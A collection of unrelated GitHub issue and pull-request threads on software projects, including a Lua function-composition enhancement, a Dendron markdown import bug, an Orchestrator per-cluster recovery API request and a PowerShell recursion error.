If you want to point it at your own GCC or similar binaries, either edit etc/config/language.defaults.properties or else make a new one with the name language.local.properties.

Hi! Thanks for the heads up. You are 100% right, the wording was a bit confusing. That's now fixed.
:)


enhance(func) Extend compose to suport N functions

Previously, func.compose only supported two functions, as in:
compose(print, string.upper)("hello") -- prints "HELLO"
This commit enables any number of functions to be composed by internally leveraging tablex.reduce to repeatedly apply functions.
For example:
compose(bind1(add, 10), bind1(mul, 5), bind(div, _1, 3))(9)
-- prints "25"
One can also pass functions as a table:
compose({ bind1(add, 10), bind1(mul, 5), bind(div, _1, 3) })(9)
-- prints "25"

@Tieske - Thanks for the reminder regarding the tests and the advice about the table argument. I've updated the code accordingly.

@broma0 thx!


Imported Markdown's relative links don't work

Please select the area your bug applies to. (Multiple selections are Possible. You can leave blank if you're not sure.)

[ ] Workspace.  VSCode workspace, vaults, Intellisense/autocomplete, Dendron settings
[ ] Lookup.  Dendron's Lookup Command
[ ] Views.  Dendron Preview, Tree View, Side Panels in the UI
[ ] Schema.  Dendron Schemas
[X] Pod.  Data import from / export to Dendron
[ ] Publish.  External Site Publish
[ ] Markdown.  Markdown features, such as syntax support and features

Describe the bug
When importing markdown that contain relative links to other notes from Joplin, these don't work in Dendron.
To Reproduce
Create a notebook in Joplin with two notes, and copy the link in one of them by right-click and "Copy markdown link", paste into the other one, right-click on the notebook and export as Markdown+front matter.
Then import into Dendron (via Pod), it converts the "Second note" into a relative link:
[Second note](../Test/Second%20note.md)
Not only is this not a Dendron link (like [[name.of.the.note]])
But also clicking on the link doesn't open the note saying it's unable to read the file.
Expected behavior
The imported markdown should convert the note links to Dendron's (markdown's name to [[name]]), to be able to go to a note by clicking on it.
Desktop (please complete the following information)

OS: Windows 10
Version: 0.78.0

Additional context
The problem here isn't that Dendron is not being able to figure out the note, since it does convert the link (which has the hash of the note), to a relative one (with its title), but more so on converting it to the proper format.

Thank you for the issue.
pinging @Harshita-mindfire @jonathanyeung for: pod improvements.

also related: https://github.com/dendronhq/dendron/issues/2228

For anyone who directed to this issue, I wrote a small script to help convert the markdown link to the dendron link in the target directory.
HenryC-3/markdown-link-to-wikilink

Make sure to backup your files before conversion.


Dynamic NFT

including merge from XRPLF/rippled:develop branch

URI field is an optional field; if not specified, the URI field in NFToken is deleted

Consideration is needed on whether to allow a change to the same URI as before the change (empty transaction execution)

I'd recommend doing the merge commit and actual changes separately, so it's easier to understand what the changes are.

I'd recommend doing the merge commit and actual changes separately, so it's easier to understand what the changes are.

Here you can see the differences from the develop branch
https://github.com/tequdev/rippled/pull/5

Need to consider whether to allow a change to the same URI as before the change (empty transaction execution)

If implemented for the number of times remaining that can be modified, it could be something like sending an NFTokenModify transaction without modifying the URI to decrease only the number of times remaining.


Add Mediator: GWT Bean Validation connected to Bootstrap FormGroup Validation State

Suggest we create a Mediator to connect GWT's native JSR-303 Bean Validation support with Bootstrap's native Form Field validation.
The Mediator would add the field to the ConstraintValidation hashmap, and then return a list of valid and invalid fields, and update the fields with the validation state (either on key change or click).
As it is, the developer would need to roll his own.
http://gwtbootstrap3.github.io/gwtbootstrap3-demo/#forms
http://www.gwtproject.org/doc/latest/DevGuideValidation.html

@davidbuhler I am not familiar with this at all. Do you think you would have any time to submit a PR for this?

@jgodi  I want to, but It would have to be between contract gigs. I think it would take me a week to get something up and running, but it would simplify matters quite a bit from a developer and user perspective.

@worknperk I would be interested in your feedback on #287.  I created an example in the gwtbootstrap3-demo project.
Here is a link to the current example:
http://gwtbootstrap3.github.io/gwtbootstrap3-demo/snapshot/#formsWithValidation

That's cool. This weekend, I'll try and add it into my project to see how it works first-hand.
I'm not sure if this is overkill or not, but in our use-case, it helps to keep track of whether the form is valid, whether multiple forms are valid (think Wizard or a multi-step form that is about to be "published", and also, whether the form has changed from the original state (Is the form dirty?). We need to check the last use case before a user navigates away from a section of the application, or tries to navigate to a new URL with a dirty form (Facebook works the same way).
Those might be useful additions (extras), or they might be overkill, but this is handy!
Thanks!

Ok. Cool. I think its responsibility of the Editor framework to keep track of most of those things. For instance you should be able to call isDirty on the editor driver to get the state of the editor.
Let me know what how it goes with your project.
On February 5, 2015 5:37:28 PM MST, worknperk<EMAIL_ADDRESS>wrote:

That's cool. This weekend, I'll try and add it into my project to see
how it works first-hand.
I'm not sure if this is overkill or not, but in our use-case, it helps
to keep track of whether the form is valid, whether multiple forms are
valid (think Wizard or a multi-step form that is about to be
"published", and also, whether the form has changed from the original
state (Is the form dirty?). We need to check the last use case before a
user navigates away from a section of the application, or tries to
navigate to a new URL with a dirty form (Facebook works the same way).
Those might be useful additions (extras), or they might be overkill,
but this is handy!
Thanks!

Reply to this email directly or view it on GitHub:
https://github.com/gwtbootstrap3/gwtbootstrap3/issues/179#issuecomment-73160310

--
Sent from Kaiten Mail. Please excuse my brevity.
IMPORTANT: This email does not constitute a contract or an offer or acceptance of an offer to enter into a contract.  Further, this email may not be used to modify, supplement, novate, or waive any rights with respect to an existing contract or other binding commercial terms.

@sjardine Would you say that #287 can close this or is there still work needed?

I think that #287 is probably enough to close this but I would wait until @worknperk has a chance to play with it.
If you dont mind, let's wait until early next week.

Sounds good. Thanks

I think we should go ahead and close this.  I did some more research and testing this weekend and bean validation definitely works.  If we need additional validation implementations we probably should start a new issue.

Thanks for the work on this!

I wanted to look at it this weekend, but we are in the middle of a
migration to IntelliJ and Maven, which is still in progress.
I can tell you that the approach taken looks right, and is an extremely
handy compliment to how GWT works (Java), how the server side validation
works (JSR annotated validations), and has a nice tie in to Bootstrap.
I think a decision point might include a unit test that verifies the
validation routines work, and a test that verifies the ui displays the
correct message.
On Feb 9, 2015 10:06 AM, "Steven Jardine"<EMAIL_ADDRESS>wrote:

I think we should go ahead and close this. I did some more research and
testing this weekend and bean validation definitely works. If we need
additional validation implementations we probably should start a new issue.
—
Reply to this email directly or view it on GitHub
https://github.com/gwtbootstrap3/gwtbootstrap3/issues/179#issuecomment-73523267
.

Double thanks!


Add x-api-version header in API responses

This is just a hint to clients to know which API version they invoked.
Did this as part of investigating GH-930 and thought it might be helpful to have in prod.
Release Note

Add `x-api-version` response header to exposure service responses

/lgtm
I was thinking of making a /version handler to return the build version and supported API versions. This is a nice solution as well.


[Behavior] What happens when app downloads image that already exists?

Lets say i set up filename to %artist% - %title%, so what happens when there are multiple images with same name from exact same artist?
Does app overwrite files with same names, skips it or adds some numeration?
Thank you for this great app and for reply in advance.

from readme,txt, you can change the overwrite in config.ini, else it just skip it.
overwrite      ==> Overwrite old files, set 'False' to disable

Thanks
So if i want to download files with similar names its better to use %image_id% to be sure nothing sis skipped right?
So how about an option to specify behavior what to do when encountering already existing file? Like adding a number at the end of filename?

Yep.
For existing file, you can try to enable this settings.
                    Old filename will be renamed to filename.unix-time.extension.```

or use add this to the filename format
```%date%
   Current date in YYYYMMMDD format.
-> %date_fmt{format}%
   Current date using custom format.
   Use Python string format notation, refer: https://goo.gl/3UiMAb
   e.g. %date_fmt{%Y-%m-%d}%

ok, thanks, ill try that


Why dose the Deformable DETR only use the score of the first class to choose the topk proposals?

In the two-stage mode of Deformable DETR, I notice that the code choose the topk foreground proposals only by the score of the first class (In cocodataset wo have 80 calss in total)? Although I notice that Deformable DETR uses sigmoid + BCE loss, I doubt if it is reasonable to choose topk foreground proposals only by the first class score?
           **topk_proposals = torch.topk(enc_outputs_class[..., 0], topk, dim=1)[1]**

Although there are 80 classes in enc_outputs_class, but we only use the first element in enc_outputs_class which means foreground not the first class of 80 classes defined in coco. See https://github.com/open-mmlab/mmdetection/blob/3e2693151add9b5d6db99b944da020cba837266b/mmdet/models/dense_heads/deformable_detr_head.py#L241 . enc_outputs_class can also be set to only one class.

Hello, I am currently facing a problem with how to use the two-stage Deformable DETR in mmdetetcion. Do you know how to use it? I have already used the Deformable DETR Encoder to obtain the output of the encoder: memory.
memory = self.encoder(
query=encoder_inputs,
query_pos=level_positional_encodings,
key_padding_mask=padding_masks,
spatial_shapes=spatial_shapes,
reference_points=reference_points,
level_start_index=level_start_index,
valid_ratios=valid_radios)
Now I want to pass the memory generated by this code to the gen_encoder_output_proposals method of Deformable DETR to generate the two-stage results. How can I do it


use ARC to show the progress

I managed to show the progress like this.

That looks really great!! Thank you @Alpaca131 !


Feat/treasury deposit history

Hey @0xdevcollins
Could you help us fix the related toaster issues?

I am on it ser

Hey @0xdevcollins
Could you help us fix the related toaster issues related to your recent PR when deploying to Vercel?


Consider renaming all Operator to remove "nms." namespace

It is apparently a limitation of Blender that keyboard shortcuts can only be assigned to Operators in the pre-defined Blender namespace, such as "object" (object mode) or "mesh" (edit mode). You can see the full list in the Blender source, but you can get a general idea by opening settings and looking at the keymap categories.
This applies to manually keymapping in the Settings menu, and it also determines whether the right-click context menu on the operator includes "assign shortcut".
The best compromise is probably to rename everything from "nms.foobar" to "object.nms_foobar"

Addressed in 1.3.2 :)


Normalize drive letter

This is a follow-up to #2149.
I did not realize true-case-path did not normalize the drive letter, which can cause the same issues as described in #1895. The project does not seem to be maintained any longer, so I've removed the dependency and copied the code here with one small change to normalize the drive letter.

Due to the license, we can't just copy/paste this in https://github.com/barsh/true-case-path/blob/master/LICENSE
The next major of node-sass will also likely be dropping all our custom download and binding code for node-pre-gyp, so I'm going to close this

Hmmm. Your repo, your call; but the code for that package is sourced entirely from a StackOverflow post. I'm not sure how they can claim license over it.
https://stackoverflow.com/questions/33086985/how-to-obtain-case-exact-path-of-a-file-in-node-js-on-windows/33139702#33139702

Is there a timeline for the next major version?

Hmmm. Your repo, your call; but the code for that package is sourced entirely from a StackOverflow post. I'm not sure how they can claim license over it.

:man_shrugging:  https://github.com/barsh/true-case-path/issues/1
For the v5 stuff, we're discussing it over in https://github.com/sass/node-sass/issues/2111
I think the main thing is getting libsass to cut a stable 3.5 release


luci-mod-network: If no interface named "lan" exists, a TypeError will occur Cannot read properties of undefined (reading 'getIPAddrs')

https://github.com/openwrt/luci/assets/26650222/fa8e38f4-1f5e-4655-9051-dcb06075bc53
luci version: 4ca87f6576272d4a4659e995bef00cf34d5746e9

@systemcrash - broken by your change<PHONE_NUMBER>66b61750e32284b49acdae0d0162d3

Oops. My bad. Should be fixed now :)


Fix TypeError while parsing .tag file #39

@pombredanne I have fixed the TypeError but while parsing sample.tag file it still gives an error Only one PackageHomePage allowed, extra at line: 21 although there is only one key with PackageHomePage in the whole document.
PR for issue #39
Signed-off-by: Tushar Mittal<EMAIL_ADDRESS>

Thanks. Can you add tests for this? and also highlight the problem you mentioned as a failing tests?

@techytushar ping!


Update deploying-native-app.md

Typos fixed:

reccomend to recommend.
natve to native
mobiler to mobile

Thanks Jeffrey!


Document precedence of logical operators

The specification should document the precedence for And and Or so that users can be assured what behavior they can rely on getting when writing a repository method like,
findByNumDependantsGreaterThanOrFilingStatusAndIncomeBetween
Users will likely expect to get the precedence defined by JPQL or by Java, which both have And taking precedence and being evaluated first.
Also, I spotted a typo in the same file where a sentence is missing the verb, so I've corrected that as well in this pull.
Signed-off-by: Nathan Rauh<EMAIL_ADDRESS>

@mpredli01 thanks for reviewing. I included both updates in commit https://github.com/jakartaee/data/pull/110/commits/05e303d9e34e3e85aa070437f608344564b84d6e

@mpredli01 could you mark your approval on the commit to address your review comments https://github.com/jakartaee/data/commit/05e303d9e34e3e85aa070437f608344564b84d6e or let me know if further changes are needed so that we can merge this?  Thanks!


⚠ Cioos National CKAN has degraded performance

In 8052fa8, Cioos National CKAN (https://catalogue.cioos.ca/) experienced degraded performance:

HTTP code: 200
Response time: 10678 ms

Resolved: Cioos National CKAN performance has improved in 655af7f after 19 minutes.


Publish to maven central

Because GitHub requires authorization to download packages?? >.>
https://maven.apache.org/repository/guide-central-repository-upload.html

[x] Create OSSRH account
[x] Register dev.qixils for publishing packages
[x] Setup pom.xml to publish to OSSRH
[x] Setup GitHub Workflow to automatically publish upon release

apparently the script is just being ignored. which means it has a syntax error i guess. poggers dude


Add a description to the repo to make it easier to find

What the title says. Give it a Github description.

Done!


Implement an API call to disable recovery for a single cluster

On scenarios where an Orchestrator cluster is managing hundredths of MySQL pods, and you need to be able to disable recovery for a specific one, you need to either keep a list of all pods in RecoverMasterClusterFilters and add/remove items (with the corresponding reload of all orchestrator processes) or downtime each pod member individually.
It would be nice to be able to disable recovery for a single pod through the API
$ orchestrator-client -c disable-cluster-recovery -a mycluster1

$ orchestrator-client -c enable-cluster-recovery -a mycluster1

As discussed with @shlomi-noach, it would also be interesting to include a visual aid on the GUI and in the ascii topology output to remind users that recovery for that cluster is disabled

Things to consider:

if disable/enable are supported, then show or get should also be added
should there be a timeout to disable?
what if a human triggers a manual failover/takeover? In line with existing behavior it should be allowed.
would such failover/takeover re-enable recoveries on a disabled cluster?
should failure detection report on failed disabled clusters?

If we set the master of a mysql cluster begin-downtime, can this achieve the goal?

yes, a being-downtime disables recoveries; however, notice that begin-downtime applies to a single host.  So you'l need to make sure to always apply it on the master of the topology (if the master changes then apply it to the new master), or just apply it onto all cluster instances.


Get-InstalledSoftware failed due to call depth overflow

The error:
PS C:\Windows\system32> Get-InstalledSoftware
Write-Log :
The script failed due to call depth overflow.
+ CategoryInfo          : InvalidOperation: (0:Int32) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : CallDepthOverflow
PS C:\Windows\system32>
For information:
`PS C:\Windows\system32> $PSVersionTable
Name                           Value
PSVersion                      5.0.10586.117
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.10586.117
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           <IP_ADDRESS>
PS C:\Windows\system32> gwmi -class win32_operatingsystem|select -Property version,buildnumber,caption
version  buildnumber caption
6.1.7601 7601        Microsoft Windows 7 Enterprise
PS C:\Windows\system32>`

Could you include the log file? It should be in C:\Windows\Temp\SoftwareInstallManager.log

I can't find any log file.
I event searched for files written in the last minutes on the whole drive...

Hi Adam,
I finally found the reason of this issue.
In fact, I didn't realize that at home I was using the old module named SoftwareInstallManager.
And at office I am using the PSSoftware module.
That's why I didn't have any problem at work.
Regarding the SoftwareInstallManager version,
the Write-Log function has a line with Write-Log
(instead of Write-Verbose like it's the case in the new module),
and thus calling itself in a infinite loop,
which leads to the depth overflow error described above.
Maybe you can disable the old module because it is still available on PowershellGallery.
Thank you again for sharing so useful code.
I use Get-InstalledSoftware and Uninstall-WindowsInstallerPackage* very often.


ENH: add continuous integration

Thanks a lot Mathurin !

@allambert this spots a few flake8 errors : https://github.com/mathurinm/torch_itl/runs/1831752520?check_suite_focus=true

You can add the following image and link at the top of the readme:
.. |image0| image:: https://github.com/allambert/torch_itl/workflows/build/badge.svg?branch=master
:target: https://github.com/allambert/torch_itl/actions?query=workflow%3Abuild


Requested slot is filling in shell mode but not in SDK or X Mode

I've got very strange issue. I have a form that contains among other slots dwellingType_origin and dwellingType_destination. Either of them accept values like Elevator Building, Walkup Building and Private House. When requested slot is dwellingType_origin and a user puts Walkup Building this would fill dwellingType_destination and ask again for dwellingType_origin
If user puts Elevator Building it will take it to the correct slot.
I checked all my nlu and stories and made sure that it trained equally for all values for both slots
But most strange thing is that when I use shell mode, it's working correctly on all values!
The problem occurs when I'm in X mode or SDK.
Any ideas??

please fill out the bug report template if you think it's a bug, otherwise please ask your question in our forum

I did
On Fri, Jul 19, 2019 at 4:38 PM Akela Drissner-Schmid <
<EMAIL_ADDRESS>wrote:

Closed #4043 https://github.com/RasaHQ/rasa/issues/4043.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/RasaHQ/rasa/issues/4043?email_source=notifications&email_token=ABK7QWUBJOQLMXBA5KEQYIDQAIQ5XA5CNFSM4IE67RV2YY3PNVWWK3TUL52HS4DFWZEXG43VMVCXMZLOORHG65DJMZUWGYLUNFXW5KTDN5WW2ZLOORPWSZGOSTKGZII#event-2496949409,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABK7QWVZDG7HU7BL6YZ2JWTQAIQ5XANCNFSM4IE67RVQ
.

--
Thank You,
George Freed
Software and web architect
eMoverSoftware.com
Phone: 2 <917-628-7030>12-537-6759